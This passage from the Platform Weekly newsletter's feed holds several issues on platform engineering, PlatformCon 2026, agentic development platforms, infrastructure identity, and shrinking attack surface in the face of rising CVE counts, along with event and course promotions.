cultural questions that are the most important. If you haven't read our mini-white paper on this, then that's a great place to start.\nWe're not in the territory now where nobody's sure how to proceed to get value.\nWe're in the territory of people getting value and people falling behind.\n \n \nHighlight of the week\n\n\nHow to build a network your future self won't hate\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n \n\u00ba]]>\n  \n  Tue, 09 Jun 2026 00:00:00 GMT\n\n\n  You can't patch your way out of this anymore\n  https://platformweekly.com/issues/patching-wont-save-you\n  https://platformweekly.com/issues/patching-wont-save-you\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sweep of the platform engineering perimeter. Every week, we round up the sharpest thinking in the community and hand you the one story you can't afford to ignore.\nPlus\u2026 we\u2019re just two weeks away from PlatformCon! It\u2019s your last chance to get tickets and say hi in London or New York!\nYou can't patch your way out of this anymore\nI've been having the same conversation on repeat lately, with a bunch of you in the community. The patching treadmill is totally f*cked. We spent the last year just trying to run faster to outpace it - and I think it\u2019s time to stop. And I don\u2019t mean give up.\nFor thirty years the playbook was find the CVE, ship the fix, apply the patch, repeat. That made sense when vulnerabilities came in the hundreds and attackers took weeks to move. That world is GONE.\n\n\n48,185 CVEs were published in 2025, up 163% from 2020. FIRST's median forecast for 2026 is nearly 60,000, and some people are suggesting 100,000+.\n\n\nThe Linux kernel alone accounted for 5,530 CVEs last year, a pace of 8 to 9 new ones every single day.\n\n\nIn 2020, attackers needed 30 days on average to weaponize a new CVE. By 2025 the median was under 5 days.\n\n\n28% of vulnerabilities in 2025 were exploited on disclosure day or before a patch even existed. For that group the average time-to-exploit was negative one day. The fix didn't exist yet.\n\n\nMeanwhile organizations take 88 days on average to remediate a critical vuln (not to mention NIST has stopped bothering categorizing all of them\u2026) You're on your own to figure out severity.\nThose numbers come from Justin Garrison, Field CTO at Sidero Labs, in a piece called Patching Won't Save You. Oof. It's a banger, and it reframes the whole problem.\nThis is a fundamental platform engineering problem now NOT a patching problem. If attackers exploit in hours and no change advisory board on earth runs at machine speed, then a faster pipeline was never going to be the answer. The answer is to have less to patch. Sounds easy doesn\u2019t it?;)\nThat's the game. Shrink the surface. If a package isn't there, the CVE against it simply doesn't apply to you. Justin has another great article on his favourite example Copy Fail, a 732-byte script that claimed to root every Linux distro shipped since 2017.\nTalos Linux, which is an open source Linux OS for K8s, which Justin and the folks at Sidero Labs have been maintaining, is basically immune to this. No shell, no package manager, not even a Python interpreter, most of the exploit had nothing to grab onto. Whole categories of risk just come off the board.\nThat is how you need to think about these security problems going forward. If you aren't thinking secure by default, then to be honest, you're not thinking at all.\nSo here's what I want you to do this week - stop asking how fast you can patch, and start asking how much you can delete. Read Justin's full breakdown, take a look at Talos Linux, then go count the packages in your base image you've never once called.\nQuick bites\nHighlight of the week\n\n\n5 pillars your platform needs in 2026 and beyond\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.]]>\n  \n  Fri, 12 Jun 2026 00:00:00 GMT\n\n\n  Your platform won the argument. Now it has to evolve\n  https://platformweekly.com/issues/introducing-platform-engineering-2-0\n  https://platformweekly.com/issues/introducing-platform-engineering-2-0\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly knead of platform engineering dough. Every week, we let the best of the community rise to the top and bring it to you warm.\nPlus\u2026 PlatformCon CTA\nYour platform won the argument. Now it has to evolve.\nI keep having the same conversation. On panels, in Slack, at dinner after talks. And I know already it will be the #1 topic next week at PlatformCon 2026. Platform engineering has basically won. 90% of organizations have adopted it, 76% run a dedicated platform team, and nobody serious is still arguing about whether to build an internal platform.\nAnd yet. The platform that won that argument was built for a different era. Overly, developer focused, human speed, and like last week approaching problems by being faster or better without recognising we\u2019re in a new paradigm.\nThat gap is exactly what our own Sam Barlien dug into in a new whitepaper on Platform Engineering 2.0: An evolution for the AI era, co-authored with Pankaj Gupta over at Broadcom. It is the clearest map I've seen of how platforms have to stretch for the AI era. They break down how you should be thinking about your IDP. An evolution, not a reset. Your existing platform is the substrate for what comes next, not the casualty of it.\nSam lays the stretch out across five shifts:\n\n\nAI workloads become first-class citizens. GPUs, model serving, and MCP gateways flowing through the same self-service path as everything else.\n\n\nAgents arrive as a brand new user. The first non-human persona in over a decade, needing scoped identity, guardrails, and audit logging.\n\n\nCost turns into a platform signal. FinOps moves out of the monthly rear-view report and into the moment of provisioning.\n\n\nSecurity shifts down into the substrate. Not piled onto developers, baked into the platform so every path is a secure path and AI security gaps addressed.\n\n\nArchitecture gets composable. Repavable, API-first building blocks instead of the tired build-versus-buy standoff.\nNone of this throws away what you already built. Platform as Product, golden paths, self-service IDPs, they are all a fundamental part of this. The discipline doesn't restart at each phase. It accumulates. So while other fields spend this year asking if they still matter in an agentic world, platform engineers are staring at the single biggest expansion of mandate the discipline has ever seen.\nThe team that masters infrastructure for the AI era is the team that masters the AI era, and that starts with treating infrastructure as a first-class platform concern rather than the thing under the floorboards\nThere is no truly better primer before PlatformCon next week. So read this. And be ready to discuss it at the world\u2019s biggest platform engineering conference in just a few days.\nQuick bites\nHighlight of the week\n\n\n5 pillars your platform needs in 2026 and beyond\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 19 Jun 2026 00:00:00 GMT\n\n\n  Everything you missed at PlatformCon this week\n  https://platformweekly.com/issues/everything-you-missed-at-platformcon\n  https://platformweekly.com/issues/everything-you-missed-at-platformcon\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly toast of platform engineering champagne. Every week, we bring you the best of what the community is reading, watching, and building. This week, we are talking about the last five days. PlatformCon 2026. The largest platform engineering week in history.\nEverything you missed at PlatformCon this week\nThis was the biggest week platform engineering has ever had. Around 1,800 of you were with us in person across Live Day London and Live Day New York, and almost 50,000 more joined online, watching talks, getting hands dirty in workshops, and celebrating the discipline together\ud83e\udd79\nThe line up of speakers was incredible. My friends Kaspar von Gr\u00fcnberg, Ajay Chankramath, Mallory Haigh, joined by community and industry titans Gregor Hohpe, Nicki Watt, Kelsey Hightower, Patrick Debois, Caroline Wong, Kief Morris, Jay Moran and so many more. The talks spanned everything that matters to us right now. The agentic future, the infrastructure agents actually run on, how to actually build, run and succeed with agents and platforms and ofc the classic deep dives into sovereignty, security, supply chain, Kubernetes and GitOps, and mastering product thinking. If platform engineering is becoming the operating model for the modern enterprise, and we know it is, this was the week the whole community pushed us 100 steps forward.\nThere was a LOT announced this week, because there is a LOT happening.\n\n\nThinking in Platforms: the new book from Kaspar and me, lands August 18. It distils ten years of learnings on platform engineering as the operating model for work in the AI era. We break down a new way to understand platforms as production systems for knowledge work, an abstract model for reasoning about and architecting golden paths and platforms, and a playbook for moving from first initiatives to production readiness and scale with a focus beyond the world of just IT.\n\n\nAgenticCon: a brand new one-day event all about agents, AI, and agentic infrastructure, arrives February 2027, co-located with PlatformCon San Francisco. Early access now! A new format for a new era.\n\n\nPlatformCon World Tour: We\u2019re going global. The Live Day format isn\u2019t just heading to Paris, Sydney, and S\u00e3o Paulo, but to San Francisco too! Couldn't make it in person this week? Now you can, from all over the world!\n\n\nTwo new courses on Platform Engineering University: One on the move from IDP to ADP, and a deep dive on agent infrastructure itself!\nAnd the big one that underpins all of this. We broke down the reference architecture for agentic development platforms, the ADP. It builds on your existing IDP, treats agents as users and interfaces, and splits into three layers: tooling, path specifications, and a new breed of agent infrastructure. The thesis? Without platforms, there is no productivity gain from agents. That statement is what sets everything that PlatformCon was about this week, and what the entire community is working off of.\nWhat's still coming? A lot. The virtual program ran all five days, with 300+ hours of talks and virtual workshops dropping batch by batch across learning paths on the agentic future, sovereignty, security, Kubernetes, and more. You won't get through it in one sitting, nobody does, we all have 20 tabs open!\nWe are at an inflection point that will define the future of not just our industry, but basically all industries - and platform engineers sit at the very heart of that change.The challenge and the opportunity literally couldn't be bigger. PlatformCon encapsulated that perfectly. Now let's embrace it together!\nQuick bites\nHighlight of the week\n\n\nHow can a Context Lake cut down up to 80% of your token usage?\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.]]>\n  \n  Fri, 26 Jun 2026 00:00:00 GMT\n\n\n  The ADP is coming. Your IDP better be ready\n  https://platformweekly.com/issues/the-adp-is-coming-your-idp-better-be-ready\n  https://platformweekly.com/issues/the-adp-is-coming-your-idp-better-be-ready\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly peek behind the platform engineering curtain. Every week, we dive into best practices, news, lessons, and updates from the platform engineering community. This is a guest newsletter by my friend Ajay Chankramath who leads at Platform Engineering Consulting, the advisory and consulting wing of the Platform Engineering community!\nBut first\u2026 I WROTE A BOOK!\nAt its core the book is about one idea. Platform engineering is becoming the operating model for knowledge work in the AI era. The book is a conceptual model and a practical playbook for redesigning how organizations work in the AI era, across software, marketing, finance, legal, any kind of knowledge work.\nPreorder your copy now!\nThe ADP is coming. Your IDP better be ready\nPlatformCon 2026 just wrapped last week virtually as well as in London and New York. One word dominated the agenda - agentic!\nGregor Hohpe talked about platforms defying the laws of IT physics in London. Patrick Debois called context the new code. Kief Morris challenged us to put humans on the loop, not in it.  By all accounts, Bruno Passos and Mansi Mittal\u2019s session on their GenAI platform journey at Booking.com was a standout.\nIn New York, Kelsey Hightower made listeners take a step back from the AI euphoria in his talk on Zero Token Architecture. Jay Moran from Fiserv showed what golden path scaling actually looks like at enterprise scale.\nKaspar and Luca introduced the idea of Agentic Development Platforms (ADPs) in their keynote both days. I took both main stages to talk about architecting Agentic Development Platforms, with Mallory joining me in New York. Think of ADP as an extension of an IDP, but the paths serve agents too in addition to humans (not instead of), so that it can run without direct human intervention when needed. I care about this because every week we talk to organizations being pushed to support agentic workflows without a solid IDP foundation underneath. \nPlatformCon was not all about AI. 55% of our talks focused exclusively on building the IDP/foundations right and only about 45% had AI focus. Still significant change in direction, but the focus continued to be IDP. For good reason.\nI talked to hundreds (over 300+!) of you across the week through our executive breakfast gatherings, therapy sessions, and the platform clinic as well as my book signings. Teams hear \u201cADP\u201d and immediately jump to agents, LLMs, orchestration layers. They picture autonomous systems dispatching work, validating changes, remediating incidents without humans in the loop. The destination is absolutely right, but you can\u2019t build an Agentic Developer Platform on a broken Internal Developer Platform.\nAn IDP standardizes paths for humans. An ADP makes those same paths executable by agents. If the human paths are inconsistent, undocumented, or held together by tribal knowledge, agents won\u2019t fix that. They\u2019ll amplify the mess. This is where the \u201cpaths\u201d matter. They\u2019re the connective tissue between your IDP today and your ADP tomorrow. \nMost enterprises I talk to are in their early stages of building the platforms to support AI workloads. Closing that gap is the work that matters right now, and it starts with rearchitecting your IDP into an ADP.\nWe also ran Platform Clinic for the Age of AI sessions at both live days in addition to 1:1 advisory conversations with engineering leaders. Platform Clinic was where several of you came together to talk about the key challenges that your teams are encountering, but instead of one speaker telling you what their perspective is, this was an opportunity to work in a small group to come up with solutions yourself. We had about 5 prompts we discussed around platform value, need to build the foundations right, agentic identity, golden paths and when to choose an agent.  If you missed them and want a similar read of where your platform stands, that\u2019s exactly what we do at Platform Engineering Consulting, and I\u2019d love to talk with you about it.\nAI workloads require platform engineering. But only if the platform is actually ready. To quote Kaspar and Luca from their new book, Thinking in Platforms, \u201cAI expands what is possible, but platforms define what is usable\u201d.\nQuick bites\nHighlight of the week\n\n\nHow can a Context Lake cut down up to 80% of your token usage?\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 03 Jul 2026 00:00:00 GMT\n\n\n  Platform engineering, AI &... tequila. What more do you need?\n  https://platformweekly.com/issues/platform-engineering-ai-tequila\n  https://platformweekly.com/issues/platform-engineering-ai-tequila\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly shot of platform engineering tequila. Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\nP.S.\n\n\nIn San Francisco? Come join our meetup next week on how to survive and keep up in an AI first world\n\nWe\u2019ve launched an Instagram for House of Kube! We\u2019ll be posting all the awesome pictures, videos and behind the scenes GOLD there.\nIt\u2019s party time.\nNext week the team and I will be at KubeCon for a workshop, a roundtable, an exec dinner, a Meetup and of course\u2026 the one event that stands above all others in my heart, HOUSE OF KUBE!\nI remember attending KubeCon Valencia and going from corporate event to corporate event looking for a fun way to not just network or learn, but to actually hang out with folks and have some fun.\nI couldn\u2019t find a single event in 2022 that was really about letting loose. So we created one.\nHouse of Kube has been the (in)famous and (un)official opening party of KubeCon ever since. Literally thousands of us have come together to dance, sing karaoke, drink and have a great time (And have some pretty intense engineering debates and networking over beers too). This is the event that combines all of it.\nThere is a reason it's taken over Vegas for Re:Invent and soon Next as well.\nOn the Community events page, there is of course opportunity for awesome roundtable discussions, Meetups and deep workshops where you can better learn about and discuss platform engineering\u2026 but there is no event in cloud-native like House of Kube.\nIf you\u2019ve never been - House of Kube Amsterdam is a perfect place to start. And if you have, I can\u2019t wait to see you again;)\nLet\u2019s rock this!\nQuick bites\nHighlight of the week:\n\n\nNVIDIA has introduced NeMoClaw at GTC, and our friends at Vultr are one of the integrated partners. So they\u2019re offering folks in the community a 7-day trial to play around: https://discover.vultr.com/nemoclaw-offer\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!\n ]]>\n  \n  Fri, 20 Mar 2026 00:00:00 GMT\n\n\n  3 things you need to read this easter\n  https://platformweekly.com/issues/3-things-you-need-to-read-this-easter\n  https://platformweekly.com/issues/3-things-you-need-to-read-this-easter\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly hunt for the platform engineering easter egg Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\n3 things you need to read this easter\nPeople can debate whether we are in a golden age of technology, but one thing is certain\u2026 the community is in a golden age of research. Thanks to survey data, events, and research interviews with the 270,000 of you - Weave Intelligence and the Platform Engineering Community has been able to publish some awesome research over the last few months.\nCommunity ambassadors write some of the best blogs I\u2019ve read, and every few weeks a new report on the incredible frontier of AI and platform engineering is published. Whether you\u2019ve got a long weekend, or don\u2019t - one thing is universal. You need to read this research.\nThe great unlock: How platform engineering creates AI-native enterprises. This report breaks down how platform engineering is the missing piece that helps businesses move from scattered AI pilots to real, company-wide AI systems. It covers everything from the architecture (in mega detail) and governance models needed, to a real-world example of how going \"AI-native\" improved customer experiences and drove new revenue for a hotel use case.\nVulnerability management for platform engineers. This report makes one of the best arguments i\u2019ve read that instead of pushing security onto developers (\"shift left\ud83e\udd2e\"), teams should bake it directly into the platform itself by shifting down, so that secure behavior just happens automatically through hardened images, policy guardrails, and automated fixes. It walks through a practical seven-step roadmap and the key capabilities needed to get there, ultimately making security a background feature rather than a constant drain on our productivity and our souls.\nOperationalizing AI coding agents in regulated industries. This report makes the case that AI coding agents, while insanely powerful, introduce serious risks in regulated industries like finance and government that traditional governance approaches weren't designed to handle. It lays out a practical path for operationalizing AI agents safely, keeping humans involved where it matters while letting agents do more within tightly controlled guardrails. Basically? It\u2019s the toolkit you need to actually operationalizing agents without blowing everything up.\nTogether these reports total almost 60 pages, and 10,000+ words of platform engineering and AI best practice putting together information at the cutting edge of the jagged frontier of AI (with much more soon to come).\nThe core theme across all? To succeed with AI, you need platform engineering. And the governance, standardisation, and automation that it brings.\nGet reading! There is a lot more to come.\nQuick bites\nHighlight of the week:\n\n\nPlatform Engineering workshop in NYC: Turning guardrails into deterministic infra fixes\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!\n ]]>\n  \n  Mon, 04 May 2026 00:00:00 GMT\n\n\n  Infrastructure Identity for platform engineers\n  https://platformweekly.com/issues/infrastructure-identity-for-platform-engineers\n  https://platformweekly.com/issues/infrastructure-identity-for-platform-engineers\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly look in the platform engineering mirror. Every week, we dive into best practices, news, lessons, and updates from the platform engineering community.\nPlus\u2026 House of Kube hits Google Next for the first time ever! Don\u2019t miss it\nInfrastructure Identity for Platform Engineers\nThe weather has been perfect in Barcelona for the last week. Perfect for sitting in my room, taking our latest course on Platform Engineering University - Infrastructure Identity for Platform Engineers.\nThe value prop is pretty simple. If you care about security, the experience of everyone and everything interacting with your infra, humans, services, or just not having your environment blow up\u2026 this is a must.\nSo what is Infrastructure Identity? It's basically the practice of assigning cryptographically verified identities to every entity (Devs, AI, angry interns, services, and all kinds of our other machine friends) in your environment and using those identities to control access, rather than relying on passwords, static API keys, or VPN-based perimeters.\nIn the last 10 years, we\u2019ve massively scaled our infrastructure. And AI makes this even harder. Autoscaling clusters, microservices, CI/CD pipelines, AI workloads, and more. While at the same time, our access controls are stuck in the 1990s\u2026 It\u2019s insane. Shared SSH keys, tokens that live forever, manual provisioning, etc., etc. The kind of setup where a three-year-old API key is silently sitting in your environment, basically itching for the day it gets the chance to fulfil it\u2019s dream and blow everything up.\nIn the agentic era, it's not an outlandish argument that every static secret is a live vulnerability. And platform engineers, not just security teams, are the ones who need to fix it by treating identity as a platform-level capability alongside policy and state, shifting security load down into the platform, and making secure-by-design the path of least resistance.\nOur machine identities are getting smarter, faster, more capable, but most of all, there are just plain MORE of them. 100x more, and that number will keep growing. Agents multiply whatever already exists. If your baseline is shared keys and static secrets, you don't get agent-powered productivity, you get 100x exposure to the same failure modes. You cannot enable a future like that on top of access control that's locked in the past.\nFour modules. All bangers. Go check it out and tell me what you think.\nQuick bites\nHighlight of the week:\n\n\nAt Google Next? We\u2019re doing two awesome roundtables! Don\u2019t miss them\ud83d\udc47\n\n\nPlatform engineering roundtable: How AI is breaking software delivery\n\nAI security by design: Platform Engineering roundtable @ Google Cloud Next\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community YouTube channel!\n ]]>\n  \n  Fri, 17 Apr 2026 00:00:00 GMT\n\n\n  Everyone is becoming a platform engineer\n  https://platformweekly.com/issues/everyone-is-becoming-a-platform-engineer\n  https://platformweekly.com/issues/everyone-is-becoming-a-platform-engineer\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly part of the platform engineering backcurtain. Every week, we dive into best practices, news, lessons, and updates from the platform engineering community. This is a guest newsletter by Lou Bichard who works at Ona and runs background-agents.com, a community and landscape for teams navigating the background agent ecosystem.\nPlus\u2026 answer the State of AI in Platform Engineering survey!\nEveryone is becoming a platform engineer\nThe software factory is here, now what? \nBefore I tell you a story about software factories, I want to take you back to 2023. Specifically two weeks post GPT-4. But, why? Because software factories have been a long-running obsession of mine and I\u2019d like to think the following prophecy came true. In fact it\u2019s a good summary of the problems the entire industry is now wrestling with. Back then, people thought I was crazy. By the end of today\u2019s newsletter, I\u2019ll make another prophecy, but this time for the future of platform engineers, so stick with me. \nEver since this day I\u2019ve been imagining a world where I sit  \u2018on the loop\u2019 designing the feedback system while agents ship. In a way the mad fantasies of a platform engineer, designing the perfect system that self-heals, auto-conforms to standards. The perfect \u2018platform\u2019.\nIn January, I built it. \nAgents raised issues, PRs and reviewed their own code. To push the idea to the extreme, I chose the hardest product I could think of: a bank. And so \u2018the bank that builds itself\u2019 was born. A few days later the bank was off, raising its own PRs, and building itself. \nBut, why do I bring this up? Because, a few months after, it seems the folks at OpenAI had been doing something very similar. They called it harness engineering. The idea was the same: don\u2019t write a single line of code. Instead, design the system agents run on. If the agents go off course, blame the system, add scripts, tests, and try again. Then repeat ad infinitum. \nBut, as a former platform engineer, one particular line stood out to me: \u201cThis is the kind of architecture you usually postpone until you have hundreds of engineers. With coding agents, it's an early prerequisite: the constraints are what allows speed without decay or architectural drift.\u201d\nFrom my own experiments and reading what OpenAI had done it\u2019s clear to me where the puck is heading: every engineer is now a platform engineer. \nLet me explain. For years, when asked about when a company should invest in platform engineering, I\u2019ve recommended Hazel Weakly's fantastic post so you want to hire for developer tooling. In the article, she maps engineering headcount to infrastructure maturity: \n\n\nDocumentation becomes necessary at 15 engineers\n\n\nA dedicated infra specialist makes sense at 50\n\nA nascent internal platform at 150\n\nFully independent specialist teams at 500\n\nEmbedded expertise across the entire org at 1500.\nWith agents? This math no longer works. Not only do agents allow individuals to ship at the speed of multiples, but agents follow standards far more obediently than a department of engineers ever did. And whilst at this point someone is bound to say \u201cYeah, right. But have you ever used an LLM? They frequently ignore what you ask of them\u201d.\nAnd to that I would agree, agents commonly skip steps as they\u2019re eager to please. But the whole premise of harness engineering is wrapping these non-deterministic agents with backpressure and scripts to ensure agent conforms, that\u2019s the point. Agent wrangling. \nSo where does this leave us? I believe history is about to repeat itself. We\u2019re about to go back 10 or 15 years to when platform engineering (in its modern form) started to take shape. All of the ideas we\u2019ve crafted about golden paths, infra as code, platform as a product are all about to be re-invented from first principles by engineers who weren\u2019t along for the ride the first time. \nSo here\u2019s my prophecy: for many organisations: things will get worse, before they get better. Organisations will have engineers re-build internal tools because they can, proliferate standards because their agents had no idea a standard exists, and sprawl will multiply. Just as they felt the pain 10 years ago and turned to platform engineering, the same will happen now. Except we\u2019ll see organizations far smaller than ever before re-learning the lessons of platform engineering.\nAll this considered, what\u2019s the antidote? It\u2019s empathy, as it always was. The best insights for platform teams I have always said, have come from \u2018sitting with your developers\u2019 and walking a mile in their shoes, feeling their pain and solving for it. Now, we need to \u2018sit\u2019 with our agents. The only way to truly understand how to manage, and govern a software factory is to build one yourself. Because whether your company is actively building a software factory or not, that\u2019s where this is all heading. Take a project and run your own harness engineering experiment. Fight the urge to write a single line of code. Focus on standards, scripts and backpressure. In many ways, it\u2019s exactly the same, but in so many more ways, it\u2019s entirely different. \nThese past two weeks, my colleague Zach has been re-building a software factory in public for an app called memo. Every line has been written by agents. Working in the background, continually. Zach is the platform engineer, building the harness. We live-streamed every day for the last 2 weeks and published it all on: software-factory.dev. But if streaming is not your thing, I also wrote background-agents.com, which has info from companies like Stripe, Ramp and others building with agents in the background, orchestrated by events and triggers. We\u2019re now even running a summit to tell these stories. And you should join us. \nQuick bites\nHighlight of the week:\n\n\nThe journey to production AI: A practical guide for platform engineers and SREs\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community YouTube channel!\n ]]>\n  \n  Fri, 24 Apr 2026 00:00:00 GMT\n\n\n  Where are you on the agentic ladder?\n  https://platformweekly.com/issues/four-levels-of-agentic-software-development\n  https://platformweekly.com/issues/four-levels-of-agentic-software-development\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly knead of platform engineering dough. Every week, we dive into another corner of the platform engineering universe, from industry insights and community news to practical lessons and live demos.\nPlus\u2026 our friends at Tailscale are organising their own awesome conference - TailscaleUp! They\u2019ll be in San Francisco on August 26, 2026 and are giving the community discounts. You can save $100 off TailscaleUp registration now though May 31st and use PE10 for an additional 10% off your ticket.\nWhere are you on the agentic ladder?\nI've been heads-down for months with my AI & platform co-conspirators Kaspar, Mallory Haigh, and Ajay Chankramath on a piece of research I'm honestly buzzing to share.\nThe four levels of agentic software development in the enterprise is our attempt to give engineering leaders a real map of where they are, where they're going, and what the platform underneath them needs to look like to actually get there. Mamma mia, surprise surprise! The conversations we're having every single day all point to the same thing. It's not the models holding teams back. It\u2019s not the tools (shocker). It's the platform.\nAs your AI capability matures, and expands, your platform needs to mature and expand with it. If your AI usage is outpacing your platform. You\u2019re fu- in trouble. We\u2019ve known this for a while now. Last year we published data showing that 95% of platform teams were failing with AI, and the 5% were using platforms. Exciting stuff at the time. But that exciting stuff at the time is old news now. Now we need to go deep on exactly what that means for the highest performing organizations today, and what can be done for you to replicate.\nHere is the ladder of maturity that we\u2019re talking about. Each rung is defined by how the human role evolves as agents take over more of the value stream:\n\n\nLevel 1: Human in the loop. Agents suggest & humans still approve every line. Gains are real but linear. Review bandwidth is the cap.\n\n\nLevel 2: Human on the loop. Agents become parallel participants. Humans dispatch the work, and validation becomes an industrial feedback loop rather than a single gate.\n\n\nLevel 3: Humans as orchestrators. The platform runs as a background execution layer. Agents respond to system signals on their own. Review is exception-based.\n\n\nLevel 4: Fully autonomous (outlook). The production system becomes partially self-adjusting. Agents initiate, implement, validate, and promote within guardrails you've defined.\nIt\u2019s the rungs of this ladder that drive the incredible ROI that teams are seeing with AI. And it\u2019s only possible to successfully climb this ladder if you\u2019ve got the platform maturity to support it.\nAnd here's the further punchline. None of these rungs are obtainable without what we're calling an Agentic Development Platform (ADP). Not that the Internal Developer Platform that won the human-developer era is disappearing, but it is evolving. Probabilistic systems (models, agents) need a deterministic fabric (policies, ephemeral envs, RBAC, observability) wrapped around them, or the whole thing falls over. That's why most failed AI initiatives we analyzed fell apart.\nThere is far too much in these 40 pages to summarise here. So read it, find your rung, and tell me what's pinning you there. If you read one whitepaper this month, make it this one.\nQuick bites\nHighlight of the week:\n\n\nHow to prepare for the agents: Platform engineering executive roundtable\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 15 May 2026 00:00:00 GMT\n\n\n  That new tool isn\u2019t going to solve your problem\n  https://platformweekly.com/issues/that-new-tool-isnt-going-to-solve-your-problem\n  https://platformweekly.com/issues/that-new-tool-isnt-going-to-solve-your-problem\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly shot of platform engineering espresso. Every week, we dive into another corner of the platform engineering universe, from industry insights and community news to practical lessons and live demos.\nPlus\u2026 contribute to the 2026 Observability Platform Engineering Market Guide and get exclusive early access to results!\nThat new tool isn\u2019t going to solve your problem\nIt\u2019s been an active couple months for our community roundtables, or platform engineering group therapy as I like to call them. With 2 last week in Vegas at Google Next. One thing stuck massively in my mind. We are obsessed with solving all problems with the same kind of solutions.As engineers always do, the conversation so often focused on what tool or new stack teams needed to migrate to to remedy their problem\u2026 but that just ain\u2019t it.We are technical people. So we want to find technical solutions. I get it. But new tooling is very rarely the answer to your problem. And the numbers can be stark. \n\n\n85% of enterprises migrated tooling; only 25% saw the expected ROI.\n\n$1.75M average cost, 18% over budget, 37% delivered no value.\n\n68% said productivity dropped; 70% saw developer burnout.\n\n75% found security harder post-new tool.\nThese are taken from the DevOps Migration Index and shared in last week's community webinar by Sylvain Deyris where he broke down some of the report's data and how he\u2019s been approaching this problem.At the same time, the report shows that 92% of teams that integrated their existing stack got better outcomes than those who ripped and replaced.  So why do we keep dreaming of solving our problems with a shiny new tool?Because not only do technical people yearn for technical solutions - folks also yearn for the easy way out. We want that one tool we can buy, that one creative script that will solve the problem. But that\u2019s not how things work. And in the age of AI - it\u2019s only going to get worse.We need the socio - in the sociotechnical, the cultural and system changes, more than ever. When you look at a problem like no one knowing what\u2019s in their AI-generated code, the solution isn't just the best new AI code review tool. It\u2019s frank conversations on ownership.Especially as we face the current AI whackamole, or using new AI tooling to solve problems created by the previous AI tooling. If you\u2019re never improving the cultural foundation as you go, the core problems are never going to go away.I want you to think about a problem you\u2019re trying to solve and the solutions you\u2019re toying with. Are all the solutions technical? Then you might need to do a bit more thinking.\nQuick bites\nHighlight of the week:\n\n\nRoundtable: Citizen developers in the enterprise on the rise: What platform teams need to know\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community YouTube channel!\n ]]>\n  \n  Fri, 01 May 2026 00:00:00 GMT\n\n\n  How the hell to build an agentic development platform?\n  https://platformweekly.com/issues/confused-by-ai-heres-your-path\n  https://platformweekly.com/issues/confused-by-ai-heres-your-path\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly stack of platform engineering pancakes. Every week, we bring you the best of what the community is reading, watching, and building.\nPlus\u2026 \n\n\nPlatform Weekly moves to Substack! I am very excited to share that we are (finally) moving Platform Weekly over to Substack starting over the next few weeks:)\n\nAND reminder that my friends at Tailscale are organizing an awesome conference - TailscaleUp! There are still some tickets available, so take a look. They\u2019ll be in San Francisco on August 26, 2026! It\u2019s gonna be a banger. They\u2019re going to be dissecting and sharing the lessons from their 20k customers through a bunch of great talks and workshops. Few things more important than networking and security at the moment. And there is prob no better place to be for it;)\n\"How the hell am I gonna build an ADP?\"\nI\u2019ve been talking about Agentic Development Platforms (ADPs) nonstop the last month. You\u2019ve probably noticed. ADPs are the platform that lets your engineers and AI agents build software together, safely, with guardrails. We covered them extensively at PlatformCon, in our review newsletter, and in Ajay\u2019s guest newsletter last week. The response from everyone has been incredible. I\u2019ve received so many replies. But there is one sliver of doubt that keeps getting slivered back to me - \"I don't even have a good IDP yet, or an effective AI initiative in my org. How the hell am I gonna do this?\"\nFair question. If the PlatformCon deluge settled anything, it's that the ADP is where our discipline is heading. But recognizing the future and knowing what to do about it on Monday morning are two VERY different things. Some of the industry seems to be sprinting, and the other half is still trying to get one golden path adopted.\nSo how do you close this gap? You close it the way our community has always closed gaps\u2026 by learning the discipline properly, step by step, from the foundations up.\nThat is how you secure your place in the AI future. And ride this insane wave.\nRemember - an ADP is your IDP evolved, not replaced. Three layers, the tooling you already run, the path definitions that humans and agents both invoke, and a new agent infrastructure substrate underneath. If you can build and reason about those layers, you aren't the person threatened by this new paradigm, you\u2019re the person who makes it work.\nThat\u2019s why, that is exactly the journey the new AI learning path on Platform Engineering University walks you through, taught by Mallory Haigh, who some of you caught on the New York main stage at PlatformCon. And it is built for the \"I'm not there yet\" reality, because it starts from wherever you actually are:\n\n\nIntro to Agentic Development Platforms (free, 1 hour, on-demand). Start here, even if your IDP is still a work in progress. Four modules: the IDP to ADP architecture shift, the three layers, designing probabilistic, deterministic, and hybrid paths that keep agents on track, and where to start building, including how to measure outcomes over your first 90 days.\n\n\nAgentic Development Platforms. The core of this path, and your real next step. Evolve the IDP you have (yes, the imperfect one) into an ADP that makes coding agents safe, governed, and productive 